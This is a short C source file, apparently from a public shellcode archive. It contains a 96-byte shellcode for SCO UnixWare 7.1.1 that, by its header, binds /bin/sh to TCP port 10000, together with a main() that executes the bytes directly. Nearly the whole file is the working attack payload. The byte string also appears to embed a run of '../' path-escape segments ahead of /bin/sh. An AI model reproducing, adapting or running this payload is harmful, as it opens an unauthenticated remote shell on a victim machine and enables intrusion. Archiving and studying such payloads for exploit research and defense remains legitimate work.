/* 96 bytes portbinding shellcode - SCO UnixWare
 * - by bighawk (bighawk@warfare.com)
 *
 * This shellcode binds /bin/sh on port 10000
 * Tested on: SCO UnixWare 7.1.1
 */

char code[] =
 "\x89\xe5\x81\xc4\x38\xff\xff\xff\xc7\x85\x38\xff\xff\xff\x73\x68"
 "\xff\xff\x31\xc0\x88\x85\x3a\xff\xff\xff\x31\xd2\xc6\x45\x8f\x9a"
 "\x89\x55\x90\x89\x55\x94\xc6\x45\x94\x07\xc6\x45\x96\xc3\x89\x55"
 "\x98\x89\xef\x83\xef\x71\x31\xd2\x52\x52\x52\x83\xc0\x17\xff\xd7"
 "\x8d\x9d\x38\xff\xff\xff\x83\xec\x10\xb8\xff\xf1\xff\xff\x50\x53"
 "\x31\xc0\x83\xc0\x50\xff\xd7\x53\x31\xc0\x83\xc0\x3d\xff\xd7\xeb"
 "\x28\x5e\x89\xf3\x53\x31\xc0\x88\x66\x1e\x83\xc0\x3d\xff\xd7\xeb"
 "\x3c\x5e\x31\xd2\x52\x88\x56\x07\x89\x76\x08\x89\x56\x0c\x8d\x46"
 "\x08\x50\x56\x31\xc0\xb0\x3b\xff\xd7\xe8\xd3\xff\xff\xff\x2e\x2e"
 "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
 "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\xe8\xbf\xff"
 "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}